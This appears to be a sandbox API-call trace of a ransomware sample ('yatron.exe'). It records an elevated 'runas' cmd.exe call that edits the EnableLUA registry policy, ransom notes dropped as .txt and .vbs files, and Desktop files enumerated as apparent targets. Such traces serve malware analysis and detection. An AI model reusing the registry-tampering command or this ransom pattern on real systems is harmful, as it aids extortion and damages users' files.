[0090.620] ShellExecuteExW (in: pExecInfo=0x265ccc0*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb="runas", lpFile="CMD.EXE", lpParameters="C:\\Windows\\System32\\cmd.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 1 /f", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x265ccc0*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb="runas", lpFile="CMD.EXE", lpParameters="C:\\Windows\\System32\\cmd.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 1 /f", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x364)) returned 1
[0107.139] LocalFree (hMem=0x1ac0e720) returned 0x0
[0107.139] LocalFree (hMem=0x1ac0ea60) returned 0x0
[0107.139] LocalFree (hMem=0x1ac6bc90) returned 0x0
[0109.306] GetLogicalDrives () returned 0x4
[0109.658] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", nBufferLength=0x105, lpBuffer=0x2ecc70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpFilePart=0x0) returned 0x1e
[0109.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed150) returned 1
[0109.659] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0109.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2e9a90) returned 1
[0109.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2ecac0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x32
[0109.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecfa0) returned 1
[0109.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x34c
[0109.812] GetFileType (hFile=0x34c) returned 0x1
[0109.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ecf10) returned 1
[0109.812] GetFileType (hFile=0x34c) returned 0x1
[0109.819] WriteFile (in: hFile=0x34c, lpBuffer=0x2696838*, nNumberOfBytesToWrite=0x623, lpNumberOfBytesWritten=0x2ed048, lpOverlapped=0x0 | out: lpBuffer=0x2696838*, lpNumberOfBytesWritten=0x2ed048*=0x623, lpOverlapped=0x0) returned 1
[0109.820] CloseHandle (hObject=0x34c) returned 1
[0109.822] GetFullPathNameW (in: lpFileName="C:\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2ecac0, lpFilePart=0x0 | out: lpBuffer="C:\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x17
[0109.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecfa0) returned 1
[0109.822] CreateFileW (lpFileName="C:\\!Please Read Me!.txt" (normalized: "c:\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x34c
[0109.825] GetFileType (hFile=0x34c) returned 0x1
[0109.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ecf10) returned 1
[0109.825] GetFileType (hFile=0x34c) returned 0x1
[0109.826] WriteFile (in: hFile=0x34c, lpBuffer=0x269b2b0*, nNumberOfBytesToWrite=0x623, lpNumberOfBytesWritten=0x2ed048, lpOverlapped=0x0 | out: lpBuffer=0x269b2b0*, lpNumberOfBytesWritten=0x2ed048*=0x623, lpOverlapped=0x0) returned 1
[0109.827] CloseHandle (hObject=0x34c) returned 1
[0109.919] GetFullPathNameW (in: lpFileName="C:\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2ecc60, lpFilePart=0x0 | out: lpBuffer="C:\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x17
[0109.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed140) returned 1
[0109.919] CreateFileW (lpFileName="C:\\!Please Read Me!.vbs" (normalized: "c:\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x34c
[0109.920] GetFileType (hFile=0x34c) returned 0x1
[0109.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed0b0) returned 1
[0109.920] GetFileType (hFile=0x34c) returned 0x1
[0109.921] WriteFile (in: hFile=0x34c, lpBuffer=0x26a2c90*, nNumberOfBytesToWrite=0x4bd, lpNumberOfBytesWritten=0x2ed1e8, lpOverlapped=0x0 | out: lpBuffer=0x26a2c90*, lpNumberOfBytesWritten=0x2ed1e8*=0x4bd, lpOverlapped=0x0) returned 1
[0109.922] CloseHandle (hObject=0x34c) returned 1
[0110.041] GetFullPathNameW (in: lpFileName="C:\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ece00, lpFilePart=0x0 | out: lpBuffer="C:\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x25
[0110.045] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x2ece10, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
[0110.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed270) returned 1
[0110.049] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
[0110.050] GetFullPathNameW (in: lpFileName="C:\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd00, lpFilePart=0x0 | out: lpBuffer="C:\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x25
[0110.050] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0110.051] FindFirstFileW (in: lpFileName="C:\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ecf10 | out: lpFindFileData=0x2ecf10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0110.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed1c0) returned 1
[0110.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed180) returned 1
[0110.432] GetUserNameW (in: lpBuffer=0x2ec3f0, pcbBuffer=0x2ec718 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2ec718) returned 1
[0110.789] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x2ec300 | out: pfEnabled=0x2ec300) returned 0x0
[0111.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0111.429] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0111.429] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26
[0111.430] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4b1e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x4b1e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0111.431] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4b1e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x4b1e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.431] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x881f4fb0, ftCreationTime.dwHighDateTime=0x1d5dee8, ftLastAccessTime.dwLowDateTime=0x8645d910, ftLastAccessTime.dwHighDateTime=0x1d5dd59, ftLastWriteTime.dwLowDateTime=0x8645d910, ftLastWriteTime.dwHighDateTime=0x1d5dd59, nFileSizeHigh=0x0, nFileSizeLow=0x1370b, dwReserved0=0x0, dwReserved1=0x0, cFileName="14twDPt60izPLxo82S4.swf", cAlternateFileName="14TWDP~1.SWF")) returned 1
[0111.432] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aec6660, ftCreationTime.dwHighDateTime=0x1d5dfba, ftLastAccessTime.dwLowDateTime=0xca23aac0, ftLastAccessTime.dwHighDateTime=0x1d5db1c, ftLastWriteTime.dwLowDateTime=0xca23aac0, ftLastWriteTime.dwHighDateTime=0x1d5db1c, nFileSizeHigh=0x0, nFileSizeLow=0xdb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="1g_JOPnK9w7TxVEt.mkv", cAlternateFileName="1G_JOP~1.MKV")) returned 1
[0111.432] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cf2b0, ftCreationTime.dwHighDateTime=0x1d5e465, ftLastAccessTime.dwLowDateTime=0x90a8d300, ftLastAccessTime.dwHighDateTime=0x1d5e72f, ftLastWriteTime.dwLowDateTime=0x90a8d300, ftLastWriteTime.dwHighDateTime=0x1d5e72f, nFileSizeHigh=0x0, nFileSizeLow=0x81cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="2spXr1L63i0rOFWOwGxO.jpg", cAlternateFileName="2SPXR1~1.JPG")) returned 1
[0111.432] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62e71940, ftCreationTime.dwHighDateTime=0x1d5e293, ftLastAccessTime.dwLowDateTime=0xba234f20, ftLastAccessTime.dwHighDateTime=0x1d5dcc2, ftLastWriteTime.dwLowDateTime=0xba234f20, ftLastWriteTime.dwHighDateTime=0x1d5dcc2, nFileSizeHigh=0x0, nFileSizeLow=0xb2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="3KX2W5Gx_oMR2z.avi", cAlternateFileName="3KX2W5~1.AVI")) returned 1
[0111.432] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x628e42f0, ftCreationTime.dwHighDateTime=0x1d5e227, ftLastAccessTime.dwLowDateTime=0xeb6eb640, ftLastAccessTime.dwHighDateTime=0x1d5e29a, ftLastWriteTime.dwLowDateTime=0xeb6eb640, ftLastWriteTime.dwHighDateTime=0x1d5e29a, nFileSizeHigh=0x0, nFileSizeLow=0x4c51, dwReserved0=0x0, dwReserved1=0x0, cFileName="ciBvwtUgoKdRmxR9BZC.odp", cAlternateFileName="CIBVWT~1.ODP")) returned 1
[0111.432] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f23c20, ftCreationTime.dwHighDateTime=0x1d5d8c0, ftLastAccessTime.dwLowDateTime=0xa4f39ad0, ftLastAccessTime.dwHighDateTime=0x1d5e58f, ftLastWriteTime.dwLowDateTime=0xa4f39ad0, ftLastWriteTime.dwHighDateTime=0x1d5e58f, nFileSizeHigh=0x0, nFileSizeLow=0x15195, dwReserved0=0x0, dwReserved1=0x0, cFileName="clTNgHV.mp3", cAlternateFileName="")) returned 1
[0111.432] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0111.433] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a295b20, ftCreationTime.dwHighDateTime=0x1d5dbdb, ftLastAccessTime.dwLowDateTime=0xce0d62f0, ftLastAccessTime.dwHighDateTime=0x1d5e1bd, ftLastWriteTime.dwLowDateTime=0xce0d62f0, ftLastWriteTime.dwHighDateTime=0x1d5e1bd, nFileSizeHigh=0x0, nFileSizeLow=0x537d, dwReserved0=0x0, dwReserved1=0x0, cFileName="DhM_7QwBM.avi", cAlternateFileName="DHM_7Q~1.AVI")) returned 1
[0111.433] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc04acda0, ftCreationTime.dwHighDateTime=0x1d5e669, ftLastAccessTime.dwLowDateTime=0xe5d04d60, ftLastAccessTime.dwHighDateTime=0x1d5e827, ftLastWriteTime.dwLowDateTime=0xe5d04d60, ftLastWriteTime.dwHighDateTime=0x1d5e827, nFileSizeHigh=0x0, nFileSizeLow=0x9532, dwReserved0=0x0, dwReserved1=0x0, cFileName="dJlVeYs3JTlELmoZmk3d.m4a", cAlternateFileName="DJLVEY~1.M4A")) returned 1
[0111.433] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa153c500, ftCreationTime.dwHighDateTime=0x1d5e1f0, ftLastAccessTime.dwLowDateTime=0xac901d80, ftLastAccessTime.dwHighDateTime=0x1d5dca8, ftLastWriteTime.dwLowDateTime=0xac901d80, ftLastWriteTime.dwHighDateTime=0x1d5dca8, nFileSizeHigh=0x0, nFileSizeLow=0x1880d, dwReserved0=0x0, dwReserved1=0x0, cFileName="elq1cNIsT.pdf", cAlternateFileName="ELQ1CN~1.PDF")) returned 1
[0111.433] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe8a230, ftCreationTime.dwHighDateTime=0x1d5e24b, ftLastAccessTime.dwLowDateTime=0x4d61fd80, ftLastAccessTime.dwHighDateTime=0x1d5da3f, ftLastWriteTime.dwLowDateTime=0x4d61fd80, ftLastWriteTime.dwHighDateTime=0x1d5da3f, nFileSizeHigh=0x0, nFileSizeLow=0x13151, dwReserved0=0x0, dwReserved1=0x0, cFileName="ErnNouUqEe1_z.rtf", cAlternateFileName="ERNNOU~1.RTF")) returned 1
[0111.433] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95bd5050, ftCreationTime.dwHighDateTime=0x1d5dfbe, ftLastAccessTime.dwLowDateTime=0xcfb8c700, ftLastAccessTime.dwHighDateTime=0x1d5df62, ftLastWriteTime.dwLowDateTime=0xcfb8c700, ftLastWriteTime.dwHighDateTime=0x1d5df62, nFileSizeHigh=0x0, nFileSizeLow=0x126ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="FiPz.ppt", cAlternateFileName="")) returned 1
[0111.433] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc007a960, ftCreationTime.dwHighDateTime=0x1d5dc11, ftLastAccessTime.dwLowDateTime=0x83875a60, ftLastAccessTime.dwHighDateTime=0x1d5e140, ftLastWriteTime.dwLowDateTime=0x83875a60, ftLastWriteTime.dwHighDateTime=0x1d5e140, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HiTPqgyxdhZUlpDcH", cAlternateFileName="HITPQG~1")) returned 1
[0111.434] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac9a7d70, ftCreationTime.dwHighDateTime=0x1d5de0b, ftLastAccessTime.dwLowDateTime=0xd383c7a0, ftLastAccessTime.dwHighDateTime=0x1d5df34, ftLastWriteTime.dwLowDateTime=0xd383c7a0, ftLastWriteTime.dwHighDateTime=0x1d5df34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="l9QUNeqlGif", cAlternateFileName="L9QUNE~1")) returned 1
[0111.434] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd28334a0, ftCreationTime.dwHighDateTime=0x1d5d7ee, ftLastAccessTime.dwLowDateTime=0x7a3aef50, ftLastAccessTime.dwHighDateTime=0x1d5db35, ftLastWriteTime.dwLowDateTime=0x7a3aef50, ftLastWriteTime.dwHighDateTime=0x1d5db35, nFileSizeHigh=0x0, nFileSizeLow=0x11721, dwReserved0=0x0, dwReserved1=0x0, cFileName="m6pr0CPgtqV6i.mp4", cAlternateFileName="M6PR0C~1.MP4")) returned 1
[0111.434] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65eb98d0, ftCreationTime.dwHighDateTime=0x1d5da52, ftLastAccessTime.dwLowDateTime=0xa66b1f20, ftLastAccessTime.dwHighDateTime=0x1d5e45c, ftLastWriteTime.dwLowDateTime=0xa66b1f20, ftLastWriteTime.dwHighDateTime=0x1d5e45c, nFileSizeHigh=0x0, nFileSizeLow=0x3cb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlh-EH2DWsH-3y_WaK.flv", cAlternateFileName="MLH-EH~1.FLV")) returned 1
[0111.434] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe353ad30, ftCreationTime.dwHighDateTime=0x1d5e40c, ftLastAccessTime.dwLowDateTime=0xe086a800, ftLastAccessTime.dwHighDateTime=0x1d5db9c, ftLastWriteTime.dwLowDateTime=0xe086a800, ftLastWriteTime.dwHighDateTime=0x1d5db9c, nFileSizeHigh=0x0, nFileSizeLow=0x22ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="n4T6IDvbZzl.jpg", cAlternateFileName="N4T6ID~1.JPG")) returned 1
[0111.434] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff166fa0, ftCreationTime.dwHighDateTime=0x1d5d94c, ftLastAccessTime.dwLowDateTime=0x3cea9da0, ftLastAccessTime.dwHighDateTime=0x1d5e6dc, ftLastWriteTime.dwLowDateTime=0x3cea9da0, ftLastWriteTime.dwHighDateTime=0x1d5e6dc, nFileSizeHigh=0x0, nFileSizeLow=0x1387d, dwReserved0=0x0, dwReserved1=0x0, cFileName="pCGd4Vc-Rq9F HN9_jrM.mp4", cAlternateFileName="PCGD4V~1.MP4")) returned 1
[0111.434] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49d1c260, ftCreationTime.dwHighDateTime=0x1d5e5e6, ftLastAccessTime.dwLowDateTime=0x9eaf8e50, ftLastAccessTime.dwHighDateTime=0x1d5dff3, ftLastWriteTime.dwLowDateTime=0x9eaf8e50, ftLastWriteTime.dwHighDateTime=0x1d5dff3, nFileSizeHigh=0x0, nFileSizeLow=0x1678d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTubNm8c7Zfy5cv7.png", cAlternateFileName="PTUBNM~1.PNG")) returned 1
[0111.435] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ce0ee0, ftCreationTime.dwHighDateTime=0x1d5df8c, ftLastAccessTime.dwLowDateTime=0xac65ecd0, ftLastAccessTime.dwHighDateTime=0x1d5e064, ftLastWriteTime.dwLowDateTime=0xac65ecd0, ftLastWriteTime.dwHighDateTime=0x1d5e064, nFileSizeHigh=0x0, nFileSizeLow=0x2403, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYj9g_.gif", cAlternateFileName="")) returned 1
[0111.435] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33939ed0, ftCreationTime.dwHighDateTime=0x1d5dced, ftLastAccessTime.dwLowDateTime=0x113284d0, ftLastAccessTime.dwHighDateTime=0x1d5dd85, ftLastWriteTime.dwLowDateTime=0x113284d0, ftLastWriteTime.dwHighDateTime=0x1d5dd85, nFileSizeHigh=0x0, nFileSizeLow=0x35ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="RwBotm2CYZ.bmp", cAlternateFileName="RWBOTM~1.BMP")) returned 1
[0111.435] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695d1f10, ftCreationTime.dwHighDateTime=0x1d5d7c4, ftLastAccessTime.dwLowDateTime=0x2cb950e0, ftLastAccessTime.dwHighDateTime=0x1d5da32, ftLastWriteTime.dwLowDateTime=0x2cb950e0, ftLastWriteTime.dwHighDateTime=0x1d5da32, nFileSizeHigh=0x0, nFileSizeLow=0xca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="UNNnOAAde-h4.jpg", cAlternateFileName="UNNNOA~1.JPG")) returned 1
[0111.435] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798ab570, ftCreationTime.dwHighDateTime=0x1d5e375, ftLastAccessTime.dwLowDateTime=0xc8194570, ftLastAccessTime.dwHighDateTime=0x1d5e7f9, ftLastWriteTime.dwLowDateTime=0xc8194570, ftLastWriteTime.dwHighDateTime=0x1d5e7f9, nFileSizeHigh=0x0, nFileSizeLow=0xba8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vzk1n.bmp", cAlternateFileName="")) returned 1
[0111.435] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17c8cf10, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0xf225bed0, ftLastAccessTime.dwHighDateTime=0x1d5db0f, ftLastWriteTime.dwLowDateTime=0xf225bed0, ftLastWriteTime.dwHighDateTime=0x1d5db0f, nFileSizeHigh=0x0, nFileSizeLow=0x87a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLuz.flv", cAlternateFileName="")) returned 1
[0111.435] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec4d6480, ftCreationTime.dwHighDateTime=0x1d6a96e, ftLastAccessTime.dwLowDateTime=0xece5fb00, ftLastAccessTime.dwHighDateTime=0x1d6a96e, ftLastWriteTime.dwLowDateTime=0x118da300, ftLastWriteTime.dwHighDateTime=0x1d6a96e, nFileSizeHigh=0x0, nFileSizeLow=0x38b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="yatron.exe", cAlternateFileName="")) returned 1
[0111.435] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69eb4cb0, ftCreationTime.dwHighDateTime=0x1d5d871, ftLastAccessTime.dwLowDateTime=0xb263bf50, ftLastAccessTime.dwHighDateTime=0x1d5e220, ftLastWriteTime.dwLowDateTime=0xb263bf50, ftLastWriteTime.dwHighDateTime=0x1d5e220, nFileSizeHigh=0x0, nFileSizeLow=0xe060, dwReserved0=0x0, dwReserved1=0x0, cFileName="zb9dFe.avi", cAlternateFileName="")) returned 1
[0111.436] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8113ae20, ftCreationTime.dwHighDateTime=0x1d5e6d9, ftLastAccessTime.dwLowDateTime=0x7578e420, ftLastAccessTime.dwHighDateTime=0x1d5db19, ftLastWriteTime.dwLowDateTime=0x7578e420, ftLastWriteTime.dwHighDateTime=0x1d5db19, nFileSizeHigh=0x0, nFileSizeLow=0x17ef9, dwReserved0=0x0, dwReserved1=0x0, cFileName="zFo2RxjXMBylRJ8-.jpg", cAlternateFileName="ZFO2RX~1.JPG")) returned 1
[0111.436] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0111.436] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0111.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0111.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0111.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
